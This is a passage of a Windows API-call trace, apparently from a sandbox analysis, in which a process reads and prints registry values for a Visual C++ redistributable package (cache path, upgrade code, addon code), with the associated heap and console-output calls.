0x3e1c70 [0150.665] GetProcessHeap () returned 0x3c0000 [0150.665] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.665] GetProcessHeap () returned 0x3c0000 [0150.665] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xae [0150.665] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleCachePath", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xac | out: pdwType=0x29f700*=0x1, pvData="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe", pcbData=0x29f780*=0xaa) returned 0x0 [0150.665] __iob_func () returned 0x7fefd702a80 [0150.665] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.665] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.665] _fileno (_File=0x7fefd702ab0) returned 1 [0150.665] _errno () returned 0x204bb0 [0150.665] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.665] _errno () returned 0x204bb0 [0150.665] GetFileType (hFile=0x50) returned 0x1 [0150.665] lstrlenW (lpString=" ") returned 4 [0150.665] GetConsoleOutputCP () returned 0x1b5 [0150.666] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.666] GetConsoleOutputCP () returned 0x1b5 [0150.666] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.666] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.666] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.666] lstrlenW (lpString="BundleCachePath") returned 15 [0150.666] __iob_func () returned 0x7fefd702a80 [0150.666] _fileno (_File=0x7fefd702ab0) returned 1 [0150.666] _errno () returned 0x204bb0 [0150.666] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.666] _errno () returned 0x204bb0 [0150.666] GetFileType (hFile=0x50) returned 0x1 [0150.666] lstrlenW (lpString="BundleCachePath") returned 15 [0150.666] GetConsoleOutputCP () returned 0x1b5 [0150.666] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleCachePath", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.666] GetConsoleOutputCP () returned 0x1b5 [0150.666] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleCachePath", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleCachePath", lpUsedDefaultChar=0x0) returned 15 [0150.666] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.666] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.666] __iob_func () returned 0x7fefd702a80 [0150.667] _fileno (_File=0x7fefd702ab0) returned 1 [0150.667] _errno () returned 0x204bb0 [0150.667] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.667] _errno () returned 0x204bb0 [0150.667] GetFileType (hFile=0x50) returned 0x1 [0150.667] lstrlenW (lpString=" ") returned 4 [0150.667] GetConsoleOutputCP () returned 0x1b5 [0150.667] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.667] GetConsoleOutputCP () returned 0x1b5 [0150.667] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.667] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.667] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.667] __iob_func () returned 0x7fefd702a80 [0150.667] _fileno (_File=0x7fefd702ab0) returned 1 [0150.667] _errno () returned 0x204bb0 [0150.667] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.667] _errno () returned 0x204bb0 [0150.667] GetFileType (hFile=0x50) returned 0x1 [0150.667] lstrlenW (lpString="REG_SZ") returned 6 [0150.667] GetConsoleOutputCP () returned 0x1b5 [0150.667] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.667] GetConsoleOutputCP () returned 0x1b5 [0150.668] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.668] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.668] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.668] __iob_func () returned 0x7fefd702a80 [0150.668] _fileno (_File=0x7fefd702ab0) returned 1 [0150.668] _errno () returned 0x204bb0 [0150.668] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.668] _errno () returned 0x204bb0 [0150.668] GetFileType (hFile=0x50) returned 0x1 [0150.668] lstrlenW (lpString=" ") returned 4 [0150.668] GetConsoleOutputCP () returned 0x1b5 [0150.668] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.668] GetConsoleOutputCP () returned 0x1b5 [0150.668] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.668] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.668] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.668] __iob_func () returned 0x7fefd702a80 [0150.668] _fileno (_File=0x7fefd702ab0) returned 1 [0150.668] _errno () returned 0x204bb0 [0150.668] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.668] _errno () returned 0x204bb0 [0150.668] GetFileType (hFile=0x50) returned 0x1 [0150.668] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe") returned 84 [0150.668] GetConsoleOutputCP () returned 0x1b5 [0150.669] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe", cchWideChar=84, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 84 [0150.669] GetConsoleOutputCP () returned 0x1b5 [0150.669] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe", cchWideChar=84, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe", lpUsedDefaultChar=0x0) returned 84 [0150.669] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 84 [0150.669] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.669] __iob_func () returned 0x7fefd702a80 [0150.669] _fileno (_File=0x7fefd702ab0) returned 1 [0150.669] _errno () returned 0x204bb0 [0150.669] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.669] _errno () returned 0x204bb0 [0150.669] GetFileType (hFile=0x50) returned 0x1 [0150.669] lstrlenW (lpString="\n") returned 1 [0150.669] GetConsoleOutputCP () returned 0x1b5 [0150.669] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.669] GetConsoleOutputCP () returned 0x1b5 [0150.669] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.669] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.669] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.669] GetProcessHeap () returned 0x3c0000 [0150.670] GetProcessHeap () returned 0x3c0000 [0150.670] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.670] GetProcessHeap () returned 0x3c0000 [0150.670] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xae [0150.670] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.670] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleUpgradeCode", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.670] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleUpgradeCode", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x54) returned 0x0 [0150.670] GetProcessHeap () returned 0x3c0000 [0150.670] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x56) returned 0x3db830 [0150.670] GetProcessHeap () returned 0x3c0000 [0150.670] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.670] GetProcessHeap () returned 0x3c0000 [0150.670] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x56 [0150.670] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleUpgradeCode", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x54 | out: pdwType=0x29f700*=0x7, pvData=0x3db830*, pcbData=0x29f780*=0x50) returned 0x0 [0150.670] __iob_func () returned 0x7fefd702a80 [0150.670] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.670] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.670] _fileno (_File=0x7fefd702ab0) returned 1 [0150.670] _errno () returned 0x204bb0 [0150.670] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.670] _errno () returned 0x204bb0 [0150.670] GetFileType (hFile=0x50) returned 0x1 [0150.670] lstrlenW (lpString=" ") returned 4 [0150.670] GetConsoleOutputCP () returned 0x1b5 [0150.670] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.670] GetConsoleOutputCP () returned 0x1b5 [0150.670] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.671] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.671] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.671] lstrlenW (lpString="BundleUpgradeCode") returned 17 [0150.671] __iob_func () returned 0x7fefd702a80 [0150.671] _fileno (_File=0x7fefd702ab0) returned 1 [0150.671] _errno () returned 0x204bb0 [0150.671] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.671] _errno () returned 0x204bb0 [0150.671] GetFileType (hFile=0x50) returned 0x1 [0150.671] lstrlenW (lpString="BundleUpgradeCode") returned 17 [0150.671] GetConsoleOutputCP () returned 0x1b5 [0150.671] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleUpgradeCode", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0150.671] GetConsoleOutputCP () returned 0x1b5 [0150.671] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleUpgradeCode", cchWideChar=17, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleUpgradeCode", lpUsedDefaultChar=0x0) returned 17 [0150.671] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 17 [0150.671] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.671] __iob_func () returned 0x7fefd702a80 [0150.671] _fileno (_File=0x7fefd702ab0) returned 1 [0150.671] _errno () returned 0x204bb0 [0150.671] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.671] _errno () returned 0x204bb0 [0150.671] GetFileType (hFile=0x50) returned 0x1 [0150.671] lstrlenW (lpString=" ") returned 4 [0150.671] GetConsoleOutputCP () returned 0x1b5 [0150.672] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.672] GetConsoleOutputCP () returned 0x1b5 [0150.672] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.672] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.672] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.672] __iob_func () returned 0x7fefd702a80 [0150.672] _fileno (_File=0x7fefd702ab0) returned 1 [0150.672] _errno () returned 0x204bb0 [0150.672] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.672] _errno () returned 0x204bb0 [0150.672] GetFileType (hFile=0x50) returned 0x1 [0150.672] lstrlenW (lpString="REG_MULTI_SZ") returned 12 [0150.672] GetConsoleOutputCP () returned 0x1b5 [0150.672] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.672] GetConsoleOutputCP () returned 0x1b5 [0150.672] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_MULTI_SZ", lpUsedDefaultChar=0x0) returned 12 [0150.672] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.672] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.673] __iob_func () returned 0x7fefd702a80 [0150.673] _fileno (_File=0x7fefd702ab0) returned 1 [0150.673] _errno () returned 0x204bb0 [0150.673] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.673] _errno () returned 0x204bb0 [0150.673] GetFileType (hFile=0x50) returned 0x1 [0150.673] lstrlenW (lpString=" ") returned 4 [0150.673] GetConsoleOutputCP () returned 0x1b5 [0150.673] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.673] GetConsoleOutputCP () returned 0x1b5 [0150.673] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.673] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.673] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.673] __iob_func () returned 0x7fefd702a80 [0150.673] _fileno (_File=0x7fefd702ab0) returned 1 [0150.673] _errno () returned 0x204bb0 [0150.673] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.673] _errno () returned 0x204bb0 [0150.673] GetFileType (hFile=0x50) returned 0x1 [0150.673] lstrlenW (lpString="{5A873082-F5A7-39E3-98EF-2BEE580CD698}") returned 38 [0150.673] GetConsoleOutputCP () returned 0x1b5 [0150.673] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="{5A873082-F5A7-39E3-98EF-2BEE580CD698}", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0150.674] GetConsoleOutputCP () returned 0x1b5 [0150.674] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="{5A873082-F5A7-39E3-98EF-2BEE580CD698}", cchWideChar=38, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{5A873082-F5A7-39E3-98EF-2BEE580CD698}", lpUsedDefaultChar=0x0) returned 38 [0150.674] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 38 [0150.674] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.674] lstrlenW (lpString="{5A873082-F5A7-39E3-98EF-2BEE580CD698}") returned 38 [0150.674] __iob_func () returned 0x7fefd702a80 [0150.674] _fileno (_File=0x7fefd702ab0) returned 1 [0150.674] _errno () returned 0x204bb0 [0150.674] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.674] _errno () returned 0x204bb0 [0150.674] GetFileType (hFile=0x50) returned 0x1 [0150.674] lstrlenW (lpString="\n") returned 1 [0150.674] GetConsoleOutputCP () returned 0x1b5 [0150.674] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.674] GetConsoleOutputCP () returned 0x1b5 [0150.674] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.674] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.674] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.674] GetProcessHeap () returned 0x3c0000 [0150.674] GetProcessHeap () returned 0x3c0000 [0150.674] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.674] GetProcessHeap () returned 0x3c0000 [0150.674] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x56 [0150.675] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.675] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleAddonCode", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.675] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleAddonCode", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.675] GetProcessHeap () returned 0x3c0000 [0150.675] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.675] GetProcessHeap () returned 0x3c0000 [0150.675] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.675] GetProcessHeap () returned 0x3c0000 [0150.675] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.675] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleAddonCode", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x7, pvData=0x3dee90*, pcbData=0x29f780*=0x4) returned 0x0 [0150.675] __iob_func () returned 0x7fefd702a80 [0150.675] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.675] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.675] _fileno (_File=0x7fefd702ab0) returned 1 [0150.675] _errno () returned 0x204bb0 [0150.675] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.675] _errno () returned 0x204bb0 [0150.675] GetFileType (hFile=0x50) returned 0x1 [0150.675] lstrlenW (lpString=" ") returned 4 [0150.675] GetConsoleOutputCP () returned 0x1b5 [0150.675] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.675] GetConsoleOutputCP () returned 0x1b5 [0150.675] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.675] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.675] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.676] lstrlenW (lpString="BundleAddonCode") returned 15 [0150.676] __iob_func () returned 0x7fefd702a80 [0150.676] _fileno (_File=0x7fefd702ab0) returned 1 [0150.676] _errno () returned 0x204bb0 [0150.676] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.676] _errno () returned 0x204bb0 [0150.676] GetFileType (hFile=0x50) returned 0x1 [0150.676] lstrlenW (lpString="BundleAddonCode") returned 15 [0150.676] GetConsoleOutputCP () returned 0x1b5 [0150.676] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleAddonCode", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.676] GetConsoleOutputCP () returned 0x1b5 [0150.676] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleAddonCode", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleAddonCode", lpUsedDefaultChar=0x0) returned 15 [0150.676] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.676] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.676] __iob_func () returned 0x7fefd702a80 [0150.676] _fileno (_File=0x7fefd702ab0) returned 1 [0150.676] _errno () returned 0x204bb0 [0150.676] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.676] _errno () returned 0x204bb0 [0150.676] GetFileType (hFile=0x50) returned 0x1 [0150.676] lstrlenW (lpString=" ") returned 4 [0150.676] GetConsoleOutputCP () returned 0x1b5 [0150.676] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.676] GetConsoleOutputCP () returned 0x1b5 [0150.677] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.677] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.677] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.677] __iob_func () returned 0x7fefd702a80 [0150.677] _fileno (_File=0x7fefd702ab0) returned 1 [0150.677] _errno () returned 0x204bb0 [0150.677] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.677] _errno () returned 0x204bb0 [0150.677] GetFileType (hFile=0x50) returned 0x1 [0150.677] lstrlenW (lpString="REG_MULTI_SZ") returned 12 [0150.677] GetConsoleOutputCP () returned 0x1b5 [0150.677] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.677] GetConsoleOutputCP () returned 0x1b5 [0150.677] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_MULTI_SZ", lpUsedDefaultChar=0x0) returned 12 [0150.677] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.677] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.677] __iob_func () returned 0x7fefd702a80 [0150.677] _fileno (_File=0x7fefd702ab0) returned 1 [0150.677] _errno () returned 0x204bb0 [0150.677] _get_osfhandle (_FileHandle=1) returned 0x50 